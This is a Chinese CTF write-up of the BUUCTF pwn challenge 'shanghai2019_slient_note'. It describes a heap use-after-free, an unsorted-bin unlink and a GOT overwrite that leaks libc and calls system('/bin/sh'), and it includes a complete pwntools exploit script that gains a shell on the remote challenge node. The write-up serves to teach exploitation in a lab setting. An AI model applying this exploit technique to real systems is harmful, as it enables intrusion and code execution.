[BUUCTF-pwn] shanghai2019_slient_note
作者:互联网
没有show,没开PIE,got表可写,估计就是控制got表。
只能add两个块,一个是0x28,另一个是0x208。BUU上给的是ubuntu18,没有次数限制,也不删指针明显的UAF。add时用的calloc 。
但是一是没有show,要得到libc需要控制got表,而add时用的calloc不仅会清残留还不用libc-2.27的tcache。这样如果用fastbin attack需要找一个0x3X的标记或者0x21X显示这两个都找不着。
于是想到用unlink,这个不需要标记然后控制指针区后就可以随便整了。不过unlink也不大容易,需要一个头是0结尾的块并能释放到unsortbin
解题步骤:
- 建210,30,30将来将210释放到unsort里再用剩余部分与后部伪造210再释放。伪造unlink结构
- 将210释放到unosrt(libc-2.27有tcache的情况下需要8次)
- 在unsort里建两个30
- 利用edit功能,修改210(UAF)在第1个30里写入unlink的头标记,两个指针,ptr_size,和伪造的0x210标记。
- 这个标记的块实际上是第2个30的位置,释放第2个30块进入unsort与前部标记得到unlink指针。
- 利用这个指针修改指针1指向got表的free(由于有后带的\n所以要一块写puts,再后边是栈溢出调用不到,把\n落在它身上)然后show得到libc
- 再将其改为system
- 最后改为指向/bin/sh的指针得到shell
from pwn import *
elf = ELF('./pwn')
context.arch = 'amd64'
def connect():
global p,libc_elf,one,libc_start_main_ret,local
local = 0
if local == 1:
p = process('./pwn')
else:
p = remote('node4.buuoj.cn', 25688)
libc_elf = ELF('../buuoj_2.27_amd64/libc-2.27.so')
one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
libc_start_main_ret = 0x21b97
menu = b"4.Exit\n"
def add(size, msg):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"2.Large\n", str(size).encode())
p.sendlineafter(b"Content:\n", msg)
def free(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"2.Large\n", str(idx).encode())
def edit(idx, msg):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"2.Large\n", str(idx).encode())
p.sendlineafter(b"Content:\n", msg)
def pwn():
context.log_level = 'debug'
ptr = 0x6020d8
add(2, b'A') #xx260
add(1, b'A') #xx470
add(1, b'A') #xx4a0
for i in range(8):
free(2)
add(1, b'A') #xx260
add(1, b'4') #xx290
edit(2, flat(0, 0x21, ptr-0x18, ptr-0x10, 0x20, 0x210)) #4:heap =0x210
free(1) #4 unlink
#gef➤ x/4gx 0x6020c0
#0x6020c0 <stderr>: 0x00007f01fb48d680 0x0000000000000000
#0x6020d0: 0x00000000025b6290 0x00000000006020c0
edit(2, flat(0,0,elf.got['free'], ptr-8)) #ptr->got.free
edit(1, flat(elf.plt['puts']+6, elf.plt['puts']+6)) #got.free=plt.puts+6
edit(2, flat(elf.got['puts'], ptr-8)) #ptr->got.puts
free(1)
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc_elf.sym['puts']
libc_elf.address = libc_base
one_gadget= libc_base + one[7]
print('libc:', hex(libc_base))
edit(2, flat(elf.got['free'], ptr-8))
edit(1, flat(libc_elf.sym['system'], elf.plt['puts']+6)) #got.free=system+6
edit(2, flat(ptr +0x8, ptr-8, b'/bin/sh\x00'))
free(1)
p.sendline(b'cat /flag')
p.interactive()
connect()
pwn()
标签:slient,libc,elf,free,note,add,pwn,got,ptr 来源: https://blog.csdn.net/weixin_52640415/article/details/122766505